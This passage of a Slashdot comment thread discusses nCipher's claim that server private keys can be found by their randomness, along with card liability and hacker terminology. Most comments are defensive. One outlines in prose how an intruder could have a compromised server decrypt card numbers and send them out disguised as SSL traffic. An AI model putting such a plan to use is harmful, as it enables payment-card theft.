      Here is a steganographic file system for linux. If you don't know the full path to a file then its existence is hidden.

  76. Cracked RSA? by RelliK · · Score: 1

    emmett mentions that Adi Shamir found a way to crack RSA. Can somebody please elaborate on this???

    ___

    --
    ___
    If you think big enough, you'll never have to do it.
  77. OK, OK ... by rawlink · · Score: 1
    The article says:

    All a hacker would have to do, Hopcroft said, is set up an account with an Internet service provider hosting a company's Web site, "go into that server and root around looking for the keys of other companies. With [the key] there is no way for me to be distinguished from a legitimate business owner."

    OK, that's funny. I hope that any ISP that leaves secret keys around w/ out proper permissions (ones denying Joe-Other-User from my critical information) and w/out a properly long passphrase (in the case of SSL certificates) would not even be in business. Private Keys are something that you keep properly protected. And if someone gains root access you are screwed. They will find the key, not because of the randomness, but because they now have complete control of the system. Once someone gains root access, there is not much you CAN do to prevent them from getting the key.

  78. Re:Why not just look for the credit card numbers.. by rawlink · · Score: 1

    These checksum algorithms are public knowledge. There are several examples on the internet, you just need to look for them. I've used them several times in back end web development just to do a preliminary check on wether a number submitted can even be a credit card number.

  79. There is an easy solution to this by trog · · Score: 1

    It appears that the article is discussing a flaw in the implimentation of an asymetrical algorithm, such as ElGamel or RSA. Real easy solution folks - the server that is actually taking credit card numbers should only have the public key stored on it. There is no need for the private key to be on any public accessable system, as the decryption of the card data is done only by the card processor, which is never done on a system connected to the Internet.

    You also must introduce randomness to the credit card data before encrypting, because the regularity of credit card numbers allows a cracker to make a known-plaintext attack.

    I've been dealing with security and encryption with e-commerse for about two years. Anyone who would set up a system like that discussed in the article is a rank amateur and a fool.

    The article is a bunch of bullshit.

    1. Re:There is an easy solution to this by trog · · Score: 1

      You are refering to a symmetric algorithm (I am inferring this from your reference to ssl, which requires a symetric algorithm). In this case, yes, you are correct; however, (if implemented correctly), ssl will encrypt a unique session key, that changes with each new connection. With a unique session key, you still cannot decrypt the data, as it is encrypted with both the session key and the symetric cipher.

      The article appears (at least to me) to be refering to public key encryption, such as used in PGP. These protocols make use of asymetric algorithms, which require two unique keys - a public and private. You can encrypt messages with either key, but you cannot derive on key from the other.

      The key to security here is having only the public key available on a system connected to the Internet. While you still must guard against sideband attacks, this makes a brut force attack against the crypto infeasable.

      Yes, I am suggesting that the data is re-encrypted and passed to a secured vault server. And yes, it is a very, very good idea.

  80. How is this different from what the cDc does? by neuroid · · Score: 4

    So let me see if I can get this right...the cDc releases information about a security risk in a certain company's operating system, thus causing said company to deny there is a problem, blame in on the cDc, and finally, fix it...eventually. Therefore, the cDc is a bunch of evil hackers because they provided this information.

    When a group of respected scientists point out a security vulnerability, they're the good guys, for pointing out a vulnerability that 'hackers' might exploit.

    Well, I guess that's fair.

    1. Re:How is this different from what the cDc does? by god_of_the_machine · · Score: 1

      cDc is not a benign group of hackers as you make them out to me.

      Back Orifice 2000 is a deadly program that really has no practical applications. Maybe if BO2K was password protected you could say that it was a hackers tool. But since you need a password to DEACTIVATE it... it is a crackers tool (and could rightfully be considered a virus).

      Besides... I doubt that the methods used by cDc attacking MS would be any less effective against Linux. Obviously, they are not the "good guys"

      --

      -rt-
      ** Evil Canadians are taking over the world. Learn about the conspiracy
  81. It often is by tilly · · Score: 2

    And double-check your other IDs as well. I have seen student IDs double as a debit card for college services. (This was at Dartmouth College, I am sure they are not alone.) There were incidences of people's cards being stolen and substantial charges being racked up.

    All in all, if you have some piece of plastic that can hand out your money, you should know the liability rules and what protection you have on that piece of plastic.

    Cheers,
    Ben

    --
    My usual seat in the cluetrain is at A HREF="http://pub4.ezboard.com/biwethey.ht
  82. Consumers are not really at risk here by tilly · · Score: 3

    The details vary according to your country's consumer protection laws, but if your credit card is stolen and used, you are not directly liable for more than a certain amount. ($50 in the USA.) Who is? The credit card company! The cost of that liability is a risk they bear, and comes back to merchants and consumers through costs for setting up credit cards.

    This is why credit card companies put so much energy into keeping profiles of consumers, and will yank your card as soon as you no longer fit your profile. It is also why banks love debit cards - since they are drawn directly on your bank account, there is no limit on your liability risk.

    Just another right that people have and don't appreciate...

    Cheers,
    Be

    --
    My usual seat in the cluetrain is at A HREF="http://pub4.ezboard.com/biwethey.ht
    1. Re:Consumers are not really at risk here by El+Volio · · Score: 2

      "It is also why banks love debit cards - since they are drawn directly on your bank account, there is no limit on your liability risk."

      Not always true. Many banks now restrict your liability to $50 even on a check card (I know mine does), and just as with credit cards, many times will waive the entire liability.

      If they insisted on holding you fully responsible for those debts, they would eventually lose customers. And to most businesses, that's a bad thing.

      --

      "You can never have too many elephants on your team."

    2. Re:Consumers are not really at risk here by stg · · Score: 1


      It is also why banks love debit cards - since they are drawn directly on your bank account, there is no limit on your liability risk.


      BZZZT! Wrong....

      I used to work for a small retailer who did some mail order business. About once or twice a year we'd get scammed with a credit card. The customer would complain, and guess who got stiffed for $300? My store did. Not VISA, not Mastercard. They had no control over the transaction, and thus why should they bear responsibility?


      BZZZT yourself. That's a CREDIT card, not a DEBIT card.

      All debit cards I know take the money directly from the account, at the exact time they are used on the store.

      Plus, you need a password, which is usually considered to be the legal equivalent of the user's signature (at least in the contracts - I've never seen a case about this).

    3. Re:Consumers are not really at risk here by Zan+Thrax · · Score: 1

      Can someone confirm something for me?

      These "Check Cards" the Americans amongst us (and loony toons on the ads) are always talking about are just a fancy name for standard bank cards that us Canadians have been using for years now, right?

      --

      Intolerant people should be shot.
    4. Re:Consumers are not really at risk here by Zan+Thrax · · Score: 1

      Bank cards basically are your account. You have a 4 to 6 digit pin (varies by bank, and by customer desire). It's used at the atm machines to deposit, withdraw, pay bills, transfer between accounts, and quickly find your account details if you actually find a reason to go inside the bank.
      The main use is to allow shopping w/o cash. The majority of retailers have an "interac" machine provided by their bank which allows, through the use of the card and a pin-pad, customers to pay for their purchases via an account to account transfer of funds. It is considered a cash transaction by both parties.

      --

      Intolerant people should be shot.
    5. Re:Consumers are not really at risk here by blanalex · · Score: 1
      Like emmett wrote when posting the news:

      "but why do people continually feel that my credit card number is the most valuable piece of information I own?"


      sure, if your credit card number is stolen it's not really that serious, but what about your social security number?

      then, oops you're not yourself anymore. you are a bit of you AND what the thief decided to do with you id. not a good thing.
      --
      #DEFINE QUESTION (2b)||(!2b) -- William Shakespeare
    6. Re:Consumers are not really at risk here by Tim+Behrendsen · · Score: 1

      You're final liability might be only $50, but how long will it take for the bank to reimburse you? Meanwhile, your checks bounce.

      Debit cards are bad, bad, bad. They are a scam to make you take the liability rather than the bank.


      ---

    7. Re:Consumers are not really at risk here by sansbury · · Score: 1

      I only rejected a guy because of his signature once. He was kind of dodgy the whole time, real fidgety when I ran the card through. The name on the card said Rubinstein, but this guy looked (and dressed) like a Puerto Rican hood. The signature looked funny, and I asked for ID, but he said he didn't have. So I told him he couldn't have his stuff, and funny thing, he just left without arguing.

      I used to get a lot of unsigned cards, so I'd ask for ID. Every so often, people would complain about this. Most merchant agreements say you're not ever supposed to take an unsigned card, no matter what. Most people though said "hey, thanks."

      For all the above reasons, I write "ask for ID" on my cards' signature lines. And I'd say I get asked for it maybe 33% of the time. But my store took security seriously, since it was a small shop and we didn't want to see the owners getting socked...

      -cwk.

    8. Re:Consumers are not really at risk here by sansbury · · Score: 2

      It is also why banks love debit cards - since they are drawn directly on your bank account, there is no limit on your liability risk.

      BZZZT! Wrong....

      I used to work for a small retailer who did some mail order business. About once or twice a year we'd get scammed with a credit card. The customer would complain, and guess who got stiffed for $300? My store did. Not VISA, not Mastercard. They had no control over the transaction, and thus why should they bear responsibility?

      This is the reason why many mail-order outfits do not ship goods to places other than the card's billing address... The card issuer controls that address, so it is slightly secure.

      -cwk.

    9. Re:Consumers are not really at risk here by Troed · · Score: 1
      Cool.

      That's what we've had in Sweden since ... umm ... well, longer than I've had one. And I've had one for a long time :)

    10. Re:Consumers are not really at risk here by B'Trey · · Score: 1
      This is what we Americans call an ATM (Automatic Teller Machine) card. Originally, ATM cards were used solely at ATM's (the machines). They can now be used at many locations for purchases, just as you describe.

      The advantage of a check card is that it IS a credit card. I was able to use my check card in Haifa Israel, Cannes France and Dubai UAE, without any problems. Anyplace, worldwide, which accepts a VISA card. (Foreign visits courtesy of the US Navy, for those who may be wondering.)

      --

      "The legitimate powers of government extend only to such acts as are injurious to others." Thomas Jefferson.

    11. Re:Consumers are not really at risk here by B'Trey · · Score: 2

      I'm not sure what the standard Canadian bank cards do. A "Check Card" is a credit card which extracts directly from your bank account. It's just like a credit card, even has the credit card logo on it, and is accepted anywhere a "normal" credit card is accepted. From the merchant's POV, it IS a credit card transaction. From the user's POV, it's like writing a check, only one which clears a bit faster.

      --

      "The legitimate powers of government extend only to such acts as are injurious to others." Thomas Jefferson.

  83. A threat by TomG · · Score: 1

    If slashdot doesn't stop linking to articles that says hackers are computer criminals, I'll stop reading slashdot. *sigh* Why? Because I expect Slashdot to link to truthful stories.

    TomG

    1. Re:A threat by TomG · · Score: 1

      Who owns the word, and who the majority is is irrelevant. The meaning is still the same. A hacker is not a computer criminal. This is not evolving language, this is perversion of language.

    2. Re:A threat by TomG · · Score: 1

      Importance and attitude is not relevant. The hacker culture means a lot to mean, and I'm not going to let people destroy it.

      TomG

    3. Re:A threat by TomG · · Score: 1

      Heh. That's not ranting. Trolling some, yeah. But you haven't seen me rant. I did not say I was a member of the hacker culture, but thank you for assuming I was. :-) And I don't have to get everyone to use 'hacker' correctly. Just one more person.
      TomG

    4. Re:A threat by TomG · · Score: 1

      Sure. We can stop. You'll stop and I'll keep going. Yes, I am weird/insane/unreasonable. I love every second of it.
      TomG

    5. Re:A threat by TomG · · Score: 1

      I think a faggot is a piece of wood or something, and gay means happy. I would recognize the meanings of "wherefores" and "thous", but I wouldn't use them in everyday speech. "Hacker" was taken by the media and misrepresented and miss used. This is a clear case of abuse and/or perversion of the language.
      TomG

    6. Re:A threat by TomG · · Score: 1

      I say it's not accurate, because it doesn't say that the incorrect definition is a popular misconception.
      TomG

    7. Re:A threat by TomG · · Score: 1

      That's right, no one _decides_ what a word means. Therefore everyone's opinion is just as good as everyone's fact. And according to me, it's a fact that "hacker" is not a computer criminal.

      TomG

    8. Re:A threat by TomG · · Score: 1

      What? I'm an asshole technical elitist who's full of himself! :-)

      TomG

    9. Re:A threat by TomG · · Score: 1

      What is real? Silly, no one defines words that _everyone_ believes. That kind of power is impossible. I can only know what it means to me, and correct everyone else who uses it wrong. And since it means a lot to me, I will do that.

      TomG

    10. Re:A threat by TomG · · Score: 1

      Doesn't mean I can't make a threat. :-)

      TomG

    11. Re:A threat by TomG · · Score: 1

      No. :-)

    12. Re:A threat by TomG · · Score: 1

      Yep. The difference is that geeks have _taken_ that name and used it in irony against those that would mock them.

      TomG

    13. Re:A threat by TomG · · Score: 1

      Your big paragraph of sarcasm aside, I'd like to see you tell me, bold faced that the media would never, ever use blatant sensationalism to sell a story.

      TomG

    14. Re:A threat by TomG · · Score: 1

      After reading toast0's reply, I decided that I should reply also. Do you think it's easy, Mister Coward, to take on a very large group of people that do not agree with me and contradict them, intelligently, at every turn? This is a challenge, and I am enjoying it.

      TomG

    15. Re:A threat by TomG · · Score: 1

      I guess I have to change them back.

      TomG

    16. Re:A threat by TomG · · Score: 1

      I can call names too, Mr. Coward. Mean names. Watch. Journalist!

      TomG

    17. Re:A threat by TomG · · Score: 1

      No. :-) And since you so insistent, why don't you go through the trouble of explaining exactly why I am arrogant?

    18. Re:A threat by Zan+Thrax · · Score: 1

      Offtipic, hell. Its a good point and one that some people need to have beaten into them. Geeks aren't more important than the rest of society. We may believe our opinions are better considered and/or just plain better than J. Random Lusers, but so does he. We don't like them co-opting our vocabulary and misusing it, and they don't like our condescending attitudes.

      --

      Intolerant people should be shot.
    19. Re:A threat by Zan+Thrax · · Score: 1

      Your going to prevent it by continuously ranting like an idiot about how your cultural purity is more important than anyone else's

      --

      Intolerant people should be shot.
    20. Re:A threat by Zan+Thrax · · Score: 1

      Not evolving language.....

      Quick: what's a fag?
      what does gay mean?

      Romeo, Romeo, wherfor art thou Romeo? - Does everyone in the english speaking world know that Juliet is not asking Romeo where he is?

      --

      Intolerant people should be shot.
    21. Re:A threat by Zan+Thrax · · Score: 1

      If I volenteer to be that one more, can we stop before we get nailed for flaimbait?

      --

      Intolerant people should be shot.
    22. Re:A threat by Zan+Thrax · · Score: 1

      Well, a faggot is a bundle of sticks, but a fag is a cigarette. My point was that words not only change over time, but mean different things to different people.

      --

      Intolerant people should be shot.
    23. Re:A threat by toast0 · · Score: 1

      hey he's not a jerk, he's just having a good time
      and i applaud him for that

    24. Re:A threat by Kinthelt · · Score: 1

      Want a definition? You got several!

      --

      "Evil will always triumph over good, because good is dumb." - Dark Helmet (Spaceballs)

    25. Re:A threat by B'Trey · · Score: 1
      I say it's not accurate, because it doesn't say that the incorrect definition is a popular misconception

      Accurate? Incorrect? Who determines the "true" definition of a word? Words HAVE no true meaning; definitions are mutable, existing in a constant state of flux. Most of the words you use have been altered from older meanings. (I almost said their "original" meaning, but that concept is pretty much meaningless for most words.)

      I once saw a particularly obnoxious bit of writing which said "... words are arbitrary articulations for the purpose of distinction ..." (Yeah, OK, but I was young at the time.) Cancer of the thesaurus aside, words really are arbitrary sounds. We create a sound and attach a meaning. That meaning is whatever we decide it is.

      This isn't a corruption of hacker culture. Words have particularly broad shoulders; they're capable of carrying essentially as many definitions as we care to give them. It's generally straightforward to glean from the context which definition of the word is intended.

      --

      "The legitimate powers of government extend only to such acts as are injurious to others." Thomas Jefferson.

    26. Re:A threat by B'Trey · · Score: 1
      That's right, no one _decides_ what a word means.

      Right statement, wrong emphasis. No _one_ decides what a word means.

      Therefore everyone's opinion is just as good as everyone's fact. And according to me, it's a fact that "hacker" is not a computer criminal.

      Words don't have absolute meanings. They do have current meanings. The definition of hacker you prefer is A meaning. It is not THE meaning.

      --

      "The legitimate powers of government extend only to such acts as are injurious to others." Thomas Jefferson.

    27. Re:A threat by B'Trey · · Score: 3
      If slashdot doesn't stop linking to articles that says hackers are computer criminals, I'll stop reading slashdot. *sigh* Why? Because I expect Slashdot to link to truthful stories.

      A hacker IS a computer criminal. Why? Because that's what most people mean when they say it. Words mean whatever people understand them to mean. There is no Official Definitive Dictionary of the English Language somewhere which inscribes in stone the true definition of a word.

      Language eveolves and changes. Just as the geek culture took words from "standard" English and changed their meaning, the non-geeks took one of our words and changed it's meaning. We don't own the langauge any more than they do; their definition of the word is no more incorrect than ours.

      Yeah, I know. Off-topic. -1

      --

      "The legitimate powers of government extend only to such acts as are injurious to others." Thomas Jefferson.

    28. Re:A threat by smack.addict · · Score: 1
      And who decreed that these words had the meanings you assign to them? You?

      Language is a shared construct. The terms have meaning insofar as those involved assign meaning to them. If you are communicating to others, you should be careful to use a language that will be meaningful to those you are speaking to. If you are being communicated to, you interpret with respect to what you believe the other person to mean by their language.

      You know damn well what the press means when they say hacker. They choose that term because the term means to them and to most people a computer criminal. It is absolutely absurd of you or anyone of the vast minority of people who really care about a supposed difference between crackers and hackers to get your panties in a wad and look down smugly on the rest of the world because their definition of hacker is not yours.

      By the way, speaking of using terms in a way completely foreign to their "real" definition, do you know what a geek is?

    29. Re:A threat by Jeff+Brown · · Score: 1

      Words aren't only defined by a dictionary (which is just a guide, not official).
      Words aren't only defined as how people use (or misuse) them.
      Words are also defined by the context in which they are used.
      Personally, I prefer the terms "White hat hacker" and "Black hat Hacker". "Red Hat" is another story

      --
      -- I Beowulfed my left and right brains!
  84. Re:A promise by TomG · · Score: 1

    Hackers are not criminals. Hackers do not break in. Crackers break in. Get it? Got it. Good. And yes, crackers are criminals.

    TomG

  85. Re:A promise by TomG · · Score: 1

    A cracker is also someone who breaks into computer programs. And it's not as hold, hackers have existed before copry protected software. This exclusion that you speak of, if I understand, is simply me being accurate.

    TomG

  86. Re:What's sauce for the goose... by TomG · · Score: 1

    I will keep this in mind for the future, thank you for the idea. :-)

    TomG

  87. Re:A tirade. by TomG · · Score: 1

    I do not appreciate being called a hypocrit. There is a difference between expanding a word's meaning, and removing meanings, or destroying the previous meaning.

    TomG

  88. Re:Check cards bad by KyleCordes · · Score: 1

    An excellent and important point. A point that I make to people and they do not remotely understand.

    I've had to tell my bank twice that they do NOT have my permission to issue a credit card that comes out of my account.

    I don't know where the idea came from the "check cards" are in any way superior to credit cards... it's completely wrong. A check card is both more risky for the reason you state, and more expensive because you pay right now, not 30 days later with no interest.

  89. Re:Easy Solution by KyleCordes · · Score: 1

    Check cards can deplete your account (making your house payment bounce) when the card is stolen/copied/fraudulently used.

    Use a credit card, you will out $50 (at most, generally 0) if it is stolen, and your house payment won't bounce.

  90. Re:e-com vs. phone order by alhaz · · Score: 3

    Arguably, remote commerce isn't anywhere near as dangerous as buying dinner at a decent restaurant.

    Think about it. You're just handing your actual credit card to someone you've barely met. They may take it across the street and buy a TV for all you know, or they may just decide to keep it.

    --
    This is just like television, only you can see much further.
  91. Re:Check cards bad by symbolic · · Score: 1

    I respectfully disagree with your assessment. I don't use *CREDIT* cards because they have their own set of problems. I've actually had fraudulent charges show up on my account, and once I called the bank and informed them, it was about a day or two before the account balance was back to normal. Banks might say they don't *have* to cover losses on a check card, but in the interest of keeping their customers happy, they usually will. The best thing about a check card is that it's pay-as-you-go. You don't have the money, you don't buy it.

  92. Re:Easy Solution by Detritus · · Score: 3

    It isn't always that easy. In an infamous case, John Munden, a British police officer, was charged with attempted fraud and convicted for complaining about funds missing from his bank account. The bank, Halifax Building Society, said that their systems were secure, therefore Mr. Munden was lying. This was enough to convince the court. The conviction was later overturned on appeal.

    --
    Mea navis aericumbens anguillis abundat
  93. An Old Problem by Detritus · · Score: 5

    Key storage and protection is an old problem. You have to assume that the operating system may be cracked, either by an external attacker or by an authorized user. The solution is to store keys in a tamper resistant hardware device, which can be an external box or a special chip. The keys can go into the device, but they can't come out. IBM has used this approach for their mainframe cryptographic facility for decades. IBM has a PCI card that solves this problem for PCs.

    --
    Mea navis aericumbens anguillis abundat
    1. Re:An Old Problem by HighLordofNothing · · Score: 1
      Actually I've been toying with something simular for the site I work at. I'm thinking I'll encrypted the cc info with gnu pgp once they submit it.. then store it on the harddrive. Once a day or so a person clears the orders out by submitting thier pgp signature / password.

      Using this method, I don't see how any one would be able to do anything to the info, even if they did crack the server.

      Of course if the crackers were smart enough they would modify the checout scrips to save the info in a different location unencrypted. This could possible go undetected for awhile if they were smart enough.

      Still this method should be secure enough to stop the crackers from just downloading the credit card info table from mysql.

  94. why steal the key? by Zog · · Score: 1
    As plenty of people are being redundant, here's an idea:

    As you have root access (you can read the key, can't you?), let the server decrypt it for you, and then send you the information that you want. This would uncomplicate things greatly, as you don't have to spend any of your own time decrypting/parsing the info.

    Then, once you have the info that you want, have it send the stuff to you in a packet that appears to be, say, a spoofed SSL packet going to a client who's coincidentally wandering around the site looking at stuff at the time, and thus get all the CC numbers you want without anyone knowing, given that the packets that your hack on the server sends you look normal, you don't use it too much on one server, you clean up your footprints, make it look like your attempt failed (ie, continuing to look for other holes), and tell no one.

  95. bogus security model by jetson123 · · Score: 3
    Here is the assumption from the nCipher paper:
    Once decrypted into plain-text, the key is vulnerable to the "key-finding" attack. But since a key is only a few hundred bytes long and the storage space of the server may be tens of gigabytes, conventional reasoning argues that an intruder is unlikely to ever find the key.
    I know of noone that relies on the difficulty of finding a key within a few gigabytes of memory to protect their server. Doing so would be silly: there are a lot simpler attacks than looking for keys by their randomness. For example, most server software is standardized, and it's easy to figure out what locations hold pointers to the keys (you can find out by analyzing the source or by experimenting with your own copy). And there are many other ways to attack.

    If you want your keys to be secure, the system that keeps them has to be physically secure and secure against unauthorized logins because at some point, the system will have the plain text keys in memory somewhere.

    Of course, the whole thing is an attempt by nCipher to drum up business--they want to sell their "nCipher hardware". If you use a cryptographic accelerator that also performs the key management, you are a bit safer, because most of the time, the keys are available only inside the accelerator, a device that is probably harder to "break into" than the whole server. But nCipher's solution is still vulnerable because you communicate with the encryption box over the web and the web client you use could be attacked.

    The best security for your keys is likely to be achieved by using a crypto accelerator for which the key is entered physically at the box (e.g., via a SmartCard or keyboard), or for which you physically connect the box to another, non-networked computer while performing key management functions. Lots of products besides nCipher's are capable of that.

  96. Re:Another way? by um...+Lucas · · Score: 2

    If it used just the date and time to seed the random number generator, that wouldn't be very random, now would it? There's countless ways to generate good random numbers... And the best are free for all anyhow, so it's really unlikely that it would be that simple.

  97. Question by um...+Lucas · · Score: 2

    How many of your ISP's even have your private key? I know once I generated my keypair, i sent mine the public key and kept the private key for myself. They just forward me my data and i decrypt it from my computer, rather than let them decryp and reencrypt and send to me.

    Likewise... I doubt (and hope that not) many of the major e-commerce sites keep their complete key pair on the same machine... Likely, they'll have a cluster of webserves with read only access to the products database, and write only to the orders database. those machines don't need to know what the data that they're passing back and forth is, they just need to get it from the server to the client.

  98. Re:[OT]Is it time for Slashdot to quit beng a ".or by breser · · Score: 1

    Not that this discussion really belongs here but slashdot.com is some DSL provider or something that's squating on it. So it's not like they have the choice, unless the want to rename the site which would just be stupid.

  99. Re:Q: e-com vs. phone order? A: cyberterrorism by breser · · Score: 1
    Baloney credit card fraud will not bankrupt the banks. Anyone that thinks that has never had a merchant account and seen how the banks deal with fraud. Frankly the banks make money off the fraud.

    a) The banks do not cover the charges in most cases and especially not in cases where a magnetic swipe is not take (i.e. ecommerce and phone orders ). In these cases if it's the merchant ends up eating the cost of the charge because the bank takes the money back.

    b) The banks/processors get a small fee for every transaction on top of the percentage. They keep the fee and the percentage whiel dinging the merchant for the entire cost of the charge when they only deposit the net amount after fees. This fee is around 12 cents a transactions for Visa + approx 3%. So assuming someone stole a million cards and ran just one transaction on it. Visa just made $120,000.00 off of fraud and that's not even taking into consideration the percentage.

    c) On top of the fee to run the transaction there is normally a fee for handling the fraud process (known as a chargeback). A low for this fee in the market is $5.00 and I've seen it as high as $15.00 per charge. Which would mean as much as $15 million in revenue off the fraudulent charge.

    d) Before most chargebacks mentioned above are run a retrieval request is also issued. This is normaly also a $5.00 - $15.00 cost.

    The only time the credit card companies are risking anything is if the merchant goes out of business. Which is highly unlikely since most people who steal cards spread there fraudulent activity around.

    So frankly I don't think the card companies have any incentive to solve the problem. Merchants are always the people left holding the bag.

  100. There is no discovery here by Sircus · · Score: 2

    If I have access to the server, I have access to the code that runs on the server. If I have access to the code, I can trace through that code, find out where it gets its keys from, and do the same thing. This has always been the case.

    The key is to keep people from getting access to the server - not to claim that there's something wrong with the infrastructure because it's possible to compromise something outside of it.

    --
    PenguiNet: the (shareware) Windows SSH client
    1. Re:There is no discovery here by Sircus · · Score: 2

      ...and the point I forgot to mention - if there *is* a discovery here, it's certainly not being reported well by ZDnet. As far as I can tell, the articles consists of about 50% idle speculation and rumour-mongering on the part of rent-a-quote e-commerce types (with the exception of Bruce Schneier), and 50% contrived explanation by someone who doesn't understand anything about PKI.

      --
      PenguiNet: the (shareware) Windows SSH client
  101. Motivation behind this "discovery" by Lumpish+Scholar · · Score: 2

    Van Someren said nCipher decided to go after encryption keys because "we make products that redress these problems." The company offers a hardware solution to the problem of encryption-key security.

    Translation: nCipher decided to make you paranoid about storing your decryption key anyone on your hard disk, so you'd store it with nCipher's hardware solution instead. *Very* thoughtful of them.-(

    If I understand this "vunerability" correctly, the approach is to read every block on the hard disk, looking for sequences that are unusually random. Is this supposed to be more effective than looking for strings around the words "decryption key"?-|

    --
    Stupid job ads, weird spam, occasional insight at
  102. Excuse me? by PenguinX · · Score: 2

    Is it just me or isn't this a "well duh"? I figured that most web hosts would be intelligent enough to have their shell server, file server, and web server seperated. Not to mention I would hope that people wouldn't keep their key files 777.

    One piece disturbs me:

    All a hacker would have to do, Hopcroft said,
    is set up an account with an Internet service
    provider hosting a company's Web site, "go into
    that server and root around looking for the keys
    of other companies. With [the key] there is no
    way for me to be distinguished from a legitimate
    business owner."

    Is it just me, or isn't this another "well duh". If you have shotty administration and security you are going to have "hackers" breaking in and "root[ing] around". The only revelation that this article seems to make is that poor administration, poor implementation, and shotty security go hand in hand. Anyone who has been in the ISP or hosting business knows this for a fact.

    It all comes down to 'buyer beware' - and if the consumer doesn't heed that then they are at fault.

  103. Re:Consumers liability problems by mindstrm · · Score: 2

    That's funny, considering that most credit cards are already charging the maximum interest rate allowed by law, or very close to it.

  104. scaremongering by periscope · · Score: 1

    All this story says is that once a cracker has compromised a server, then they have a more easy way of locating the encryption keys that may be stored on it. No method has been found for breaking the encryption itself and this does not make e-commerce unsecure. All it actually means is that companies with insecure webservers will find that the keys stored on their servers are located slightly more quickly than by other means. Please note that posting this story was designed to cause a reaction because the guy who posted it (emmett) is reasonably new and wants to create a good impression (TM) amoungst readers. Unfortunately, what he fails to realise is that it is a load of scaremongering shite that he has posted. Anyone who thinks this changes anything is wrong.

    Please people, actually read the stories that are posted and don't just accept some bloke interpretation. This story wasn't worth posting.

    Thank you.

    Jonathan.

    --
    http://www.jonmasters.org/
  105. Re:SO avoid the randomness? by ChadN · · Score: 1

    Exactly, if you can't change the signal, then just raise the noise. (This applies to politics as well :)

    --
    "It's overkill, of course. But you can never have too much overkill." - Anonymous Slashdot Coward
  106. Re:This is real by admcd · · Score: 1

    Yes, Nicko van Someren demonstrated this in the rump session at the 3rd International Information Hiding Workshop back in September. He showed a CGI program running on a web server being used to find the private key used by that server. This works if you can run a CGI script as the same user as the server (ie. with access to the memory of the server).

  107. Re:YEAH RIGHT! WHAT A SCAM by bogado · · Score: 1
    The problem is that no matter how well you hid the key. To use the key you must unhid and decript it into the memory, memory that sometimes is actualy a swap space on the HD, witch usualy is not erased properly after releasing the memory. Got it?

    Even if the memory is in actual memory, there are tools to scan the memory itself, all you need is the correct rigths.


    --
    "take the red pill and you stay in wonderland and I'll show you how deep the rabitt hole goes"

    --
    []'s Victor Bogado da Silva Lins

    ^[:wq

  108. I don't think that this is not as bad as it looks. by bogado · · Score: 3
    I read the article in the nCifer site. And by the looks of it you must have the ability to run software on the server to be able to actualy find a key.

    The vulnability described is a way to scan memory and finding a private key in the middle of it. Since most servers, even the NT ones :-), have strict security on who can run and who can access memory this would be no problem for most of the server.

    The major problem I see is the virtual servers that hold many sites into a single machine. Every site owner have access to run programs in the machine, if those sites are not properly secured one site owner could be able to exploit some known hole to be able to scan memory is search for other site owner's keys.


    --
    "take the red pill and you stay in wonderland and I'll show you how deep the rabitt hole goes"

    --
    []'s Victor Bogado da Silva Lins

    ^[:wq

  109. Re:Information wants to be free by tlhIngan · · Score: 1

    How about, first the program generates a lot of valid assembly code of the server's processor, then assembles it, and chooses various assembled bytes as the key? (New meaning to "large instruction set"...)

    Certainly hard to find a key through what looks like valid executable binary code...

  110. Re:Easy Solution by garver · · Score: 2

    This is just evidence that you are probably no safer giving out your credit card info over the internet than you are safe from getting mugged in a large city.

    This is a very good point. Just as I wouldn't stop going into the city and carrying cash just because I might get mugged doesn't mean that I might stop using credit cards online because I might have my credit information stolen.

    Oh, wait. This wasn't your point at all. Sorry

  111. Not a problem by garver · · Score: 4

    As I'm reading this article, they are saying that once into a web server, it is easy to search for a key because it is more random then any other data on the disk. Wish I could get paid for these kinds of revelations.

    The solution: don't let anyone into your web server in the first place. I would consider the web server compromised and the keys invalid if someone got in and was able to snoop where the keys were located. Even if you do allow shell access to the web server (a bad idea in my opinion), put the keys in a root read-only directory! I believe the setup instructions for mod_ssl says to set your SSL key as 400, therefore only root can read it.

    This article is irresponsible. They make it sound as if your credit card is already at stake, not just after someone has broken into a web server and stole keys. It is not news that encrypted data is at stake after someone has stole the private key.

  112. e-com vs. phone order by fartmaster · · Score: 4

    I consider buying things over the web to be in the same league as ordering items over the phone. When people order things over the phone, they are dealing with a PERSON. How do they know that the operator that is taking their order is not going to rip them off, or do something stupid with their credit card number?

    Plus, in both cases you don't know if the credit card information is being STORED properly. I've seen plenty of discount e-com setups that will have a fancy site certificate making it look secure. Then when the form is submited a plain text email gets sent to some email address so that someone can manually punch it in.

  113. Re:Easy Solution by Another+MacHack · · Score: 1
    Most people can get credit cards with 9.9% interest or less.

    I've never seen one even offered for better than about 12%. Unless you're counting those deceptive ads that say 3% APR!!*

    *For 3 months

  114. Re:Easy Solution by Haven · · Score: 2

    when I use my a credit card online, I use my check card. So there is no interest. The safety of it I'm not very concerned with. If there is a charge on my check card that I didn't make, I just call the bank and they get rid of it.

  115. reprocussions by Haven · · Score: 4

    This article was posted at 5:38pm EST. Thats after the stock market closed. I wonder what kind of affect this would have on the "dot com" stocks... This would be a shame considering that the NASDAQ is doing so well lately.

  116. Information Content by jmaslak · · Score: 1

    First, one quick note: we have a lot of bright people reading this stuff. However, sometimes even us bright people fall for the "hindsight bias". I want to make sure that we aren't falling for it now!

    Second, though, I believe that the article was poorly written. It doesn't accurately describe the threat, it focusses on Web servers, and it ignores the fact that our intellegance agencies and police forces have been doing this kind of thing for a long time (even in the US).

    Some other things to note, though... 1) The information content of a key should be zero (thus random). We know this. However, we also know that even with SIMPLE encryption algorithms (think XOR), the result also has what appears to be zero information content. The information is random, provided you don't know the secret key or plain text. In fact, one of the first tests of an encryption routine is to see if the result in most cases fits the criteria for random information (there are math tests you can apply).

    So, what this article REALLY says is this:
    By using the fact that encryption removes the information from a message (in a math sense), we can find keys, large random numbers, and encrypted messages when we examine a stream of bits. Think about this, though...Don't you think the NSA has always been able to intercept information and pass the encrypted pieces to one department and the unencrypted pieces to another? What about a police agency which takes someone's computer as evidence. Perhaps they deleted their PGP key, but not good enough. How do you find it? The same way mentioned in this article, using many well-written commercial software packages designed for forensics work.

    This attack demonstrates yet another reason not to send private keys/shared keys over insecure channels. It is saying, "Someone might notice that thing is a key," even if there is a lot of traffic. Go figure.

    As a side note, though, we can do our intellegence agencies a big favor by sending all messages out as encrypted messages. That way, they don't just have to try to crack the ones for which encryption makes sense on, but also the ones that encryption doesn't make sense on. How long do we have to wait until we can send Mom birthday wishes via encrypted mail? (Picture some guy 3 stories underground in Virginia trying to make sense of THAT secret code!)

